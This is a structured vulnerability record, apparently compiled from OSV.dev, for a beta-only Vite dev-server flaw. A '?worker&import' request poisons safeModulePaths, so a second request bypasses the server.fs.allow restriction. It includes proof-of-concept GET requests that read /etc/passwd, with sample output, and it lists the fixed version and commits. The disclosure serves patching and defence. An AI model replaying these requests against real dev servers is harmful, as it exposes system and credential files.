{"id":"CVE-2026-140098","aliases":["GHSA-qppr-rxr4-jjq2"],"url":"https://o3.security/vulnerability/CVE-2026-140098","summary":"Vite [beta only]: files otuside `server.fs.allow` and not included in `server.fs.deny` can be served by two requests using `?worker`","details":"> [!IMPORTANT]\n> **This advisory only affects beta versions.**\n\n### Summary\n\nWith 8.4.0-beta.1, the contents of files that are outside [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow) and not included in [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))\n- the sensitive file exists is not specified by [server.fs.deny](https://vite.dev/config/server-options#server-fs-deny)\n- Uses v8.4.0-beta.1\n\n### Details\n\nIn 8.4.0-beta.1, a dev server can be made to serve any file outside `server.fs.allow` that is not matched by `server.fs.deny`, with two unauthenticated GET requests and no preconditions:\n\n1. `GET /@fs/<absolute-path>?worker&import`. The worker plugin generates a `WorkerWrapper` module whose body embeds the request-chosen path, and in doing so registers the absolute path in `config.environments.client.safeModulePaths`.\n2. `GET /@fs/<absolute-path>` 200 with the file content. The safeModulePaths check short-circuits before the `fs.allow` check.\n\nOnly `server.fs.deny` matches keep working after registration. `?sharedworker&import` triggers the same flow, and `?wasm` / `?init&import` / `?source&import` queries register `.wasm` files the same way.\n\nThis is new in 8.4. The poisoning write (`fileToDevUrl` → `safeModulePaths.addId`) was introduced by commit https://github.com/vitejs/vite/commit/e258ce140eef64cf89ff38c410125abd8726f274 (https://github.com/vitejs/vite/pull/23168).\n\n### PoC\n\nMinimal reproduction (two requests):\n\n```\n# 1) Before registration — correctly denied\nGET /@fs/etc/passwd\n-> 403 Restricted (\"The request id /etc/passwd is outside...\")\n\n# 2) Register the path via the worker query\nGET /@fs/etc/passwd?worker&import\n-> 200\n-> body: export default function WorkerWrapper(options) {\n     return new Worker(\"/@fs/etc/passwd?worker_file&type=module\", ...)\n   }\n\n# 3) Read — now allowed\nGET /@fs/etc/passwd\n-> 200 (text/javascript)\n-> body: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:...\n```","published":"2026-11-30T22:30:38.385Z","modified":"2026-12-01T21:02:40.469301763Z","cvss":null,"epss":{"score":0.0065,"percentile":0.52476,"asOf":"2026-12-01"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vite","fixedVersion":"8.4.0-beta.2"}],"fix":{"url":"https://github.com/vitejs/vite/commit/a78fb8a28db01e83611120012bd5d1189bab68aa","label":"vitejs/vite@a78fb8a"},"references":[{"type":"WEB","url":"https://github.com/vitejs/vite/releases/tag/v8.4.0-beta.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140098.json"},{"type":"ADVISORY","url":"https://github.com/vitejs/vite/security/advisories/GHSA-qppr-rxr4-jjq2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140098"},{"type":"FIX","url":"https://github.com/vitejs/vite/commit/a78fb8a28db01e83611120012bd5d1189bab68aa"},{"type":"FIX","url":"https://github.com/vitejs/vite/commit/e258ce140eef64cf89ff38c410125abd8726f274"},{"type":"FIX","url":"https://github.com/vitejs/vite/pull/23168"},{"type":"FIX","url":"https://github.com/vitejs/vite/pull/24206"},{"type":"PACKAGE","url":"https://github.com/vitejs/vite"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-12-01T21:02:40.469301763Z"}}